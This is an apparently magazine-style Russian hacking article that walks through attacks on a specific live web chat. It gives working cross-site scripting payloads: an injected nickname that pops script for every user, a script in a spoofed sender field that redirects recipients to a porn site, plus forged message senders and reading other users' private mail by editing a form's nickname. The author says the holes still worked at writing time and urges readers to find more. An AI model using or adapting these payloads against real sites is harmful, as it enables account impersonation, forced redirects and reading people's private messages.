Предметом данного исследования является чат находящийся по адресу
www.clan.uz.ua. Он был выбран мной только по одной причине — автор утверждал, что чат не содержит никаких
изъянов. Я на слово не поверил и решил проверить все лично…

Первое впечатление

Теги действительно внедрить не удалось. При попытке вставки тега появлялась веселая надпись «No Tags :)». После некоторых исследований мы обнаружим следующее — в списке пользователей есть функция кидания человека в игнор. На HTML’е она была реализована следующим образом:

<A class=ignor title=ignore href=’javascript:ignore(«Digital_Scream»)’ color=»#ff0000″ face=»Comic Sans MS» size=»4″>X</A>

Где Digital_Scream это наш ник. А теперь давайте попробуем залогинится под ником Digital_Scream»);alert(«Hello . В результате при клике на наш ник должно выскакивать сообщение с
надписью Hello. Но тут установлены ограничением логина до 25 символов. Чтобы избавится от этой «проблемы» сохраняем страницу на винчестер, патчим все пути и удаляем все сточки типа maxlenght=… ОК. Пишем наш новый ник :), кликаем по нему в списке пользователей, сработало! 

Чтото в этом есть

Отлично… Но я не думаю что нас это устроит, а поэтому давайте сделаем так чтобы у каждого в чате выскакивало сообщение Hello
вне зависимости кликал он на наш ник или нет. Для этого можем
воспользоваться материалом со статьи «Фильтруй базар
3"
. А именно использование функции eval(). Она интересна тем, что позволяет исполнять любой JavaScript. Вот простой пример:

<A style=»left:expression(eval(‘alert(\’Hello\’)’))»></A>

Этот код выведет на монитор сообщение Hello. А теперь введем свой ник как Digital_Scream»)’ style=»left:expression(eval(‘alert(\’Hello\’)’)» onload=’alert(«null . После обработки в списке пользователей образуется примерно такой код:

<A class=ignor title=ignore href=’javascript:ignore(«Digital_Scream»)’ style=»left:expression(eval(‘alert(\’Hello\’)’)» onload=’alert(«null»)’ color=»#ff0000″ face=»Comic Sans MS» size=»4″>X</A>

Этим мы заставили всех в чате лицезреть сообщение
Hello.

BONUS

Если внимательно посмотреть на форму отправки сообщений то можно заметить такое чудо 🙂 :

<FONT ondblclick=»kick=window.open(‘/cgi-bin/kick.cgi’,», ‘scrollbars,top=0,left=0,width=640,height=480’);» face=»Comic Sans MS»>Say:

Это так сказать наш БОНУС… аля Кик машина 🙂 Дополнительная функция открывающая окно кикера при двойном клике по надписи Say. Тока одно плохо
— нужно ввести пароль чтобы кого-то кикать, но нас это не огорчает так как к списку претендентов на вылет прилагаются их IP. В этот момент я вспоминаю старенькие статьи типа «Как стырить IP из чата?» 

Теперь ты стал одним из нас

До этого мы были гостями в чате, давайте зарегимся… После регистрации мы увидим некоторые изменения в интерфейсе: добавилась кнопочка Leave Message и надпись Messages 0(0) в списке чатеров. Это достаточно интересная функция которую я вижу впервые. Это поддержка
оставления мессаг, то есть нажимаешь на кнопочку Leave Message и оставляешь
кому-то мессагу. Когда он заходит в чат, то сразу видит в списке пользователей Messages 1(0), что значит новых писем — 1, а старых нет. Если мы посмотрим на исходник окна отправки писем то увидим примерно следуещее(упрощенно):

<form name=sendmsg method=post action=»/cgi-bin/sendmsg.cgi»>
<input type=hidden name=from value=Digital_Scream>
<select name=to>
<option value=’msg/1’>Vic</option>
…………………………….
<option value=’msg/151’>Sacha</option>
</select>
<textarea name=msg rows=10 cols=50></textarea>
<input type=submit name=nickname value=»leave Msg…»>
</form>

А теперь попробуем параметр from сделать видимым, значит меняем type=hidden на type=text. О, наша форма отправки имеет великолепную функцию. Мы можем в параметр from писать все что душе угодно и будет
считаться, что письмо пришло именно от того кто указан в поле from. Что приятно радует так это не проверка на
наличие тегов в имени отправителя :), давайте в from укажем вот
что:

<script>
alert(«Go back 2 Disnayland»);
document.location.href=»http://www.sexdisney.com/»;
</script>

Надеюсь ясно что писать все это дело надо в одну строчку. Приятный сюрприз ждет того кому мы прислали эту мессагу.

Джедай побеждает

Хотелось бы почитать чужие мессаги? Так давайте посмотрим как происходит проверка почты… При клике на надпись Messages 1(0) сабмитится примерно такая форма:

<form name=checkmsg action=»/cgi-bin/checkmsg.cgi» method=’post’>
<input type=hidden name=nickname value=’Digital_Scream’>
<input type=hidden name=state value=’1’>
<input id=msgb type=submit>
</form>

Немного подправим это дело, чтобы получилось примерно следующее:

<form name=checkmsg action=»http://www.clan.uz.ua/cgi-bin/checkmsg.cgi» method=’post’>
<input name=nickname value=’Digital_Scream’>
<input name=state value=’1’>
<input id=msgb type=submit>
</form>

Ну все пишем ник и проверяем «нашу» почту. О всех «скрытых возможностях» чата я уведомил автора. На что он почесал свою задницу и ничего не сделал,
так что на момент написания статьи все
работало прекрасно. Удачи мучачос! Не факт что это все его функции, возможно ты найдешь еще парочку…

Оставить мнение

Check Also

ФБР обвинило иранского правительственного хакера во взломе HBO и вымогательстве 6 млн долларов

ФБР и Министерство юстиции США, сообщили, что нашли виновного во взломе HBO и преждевремен…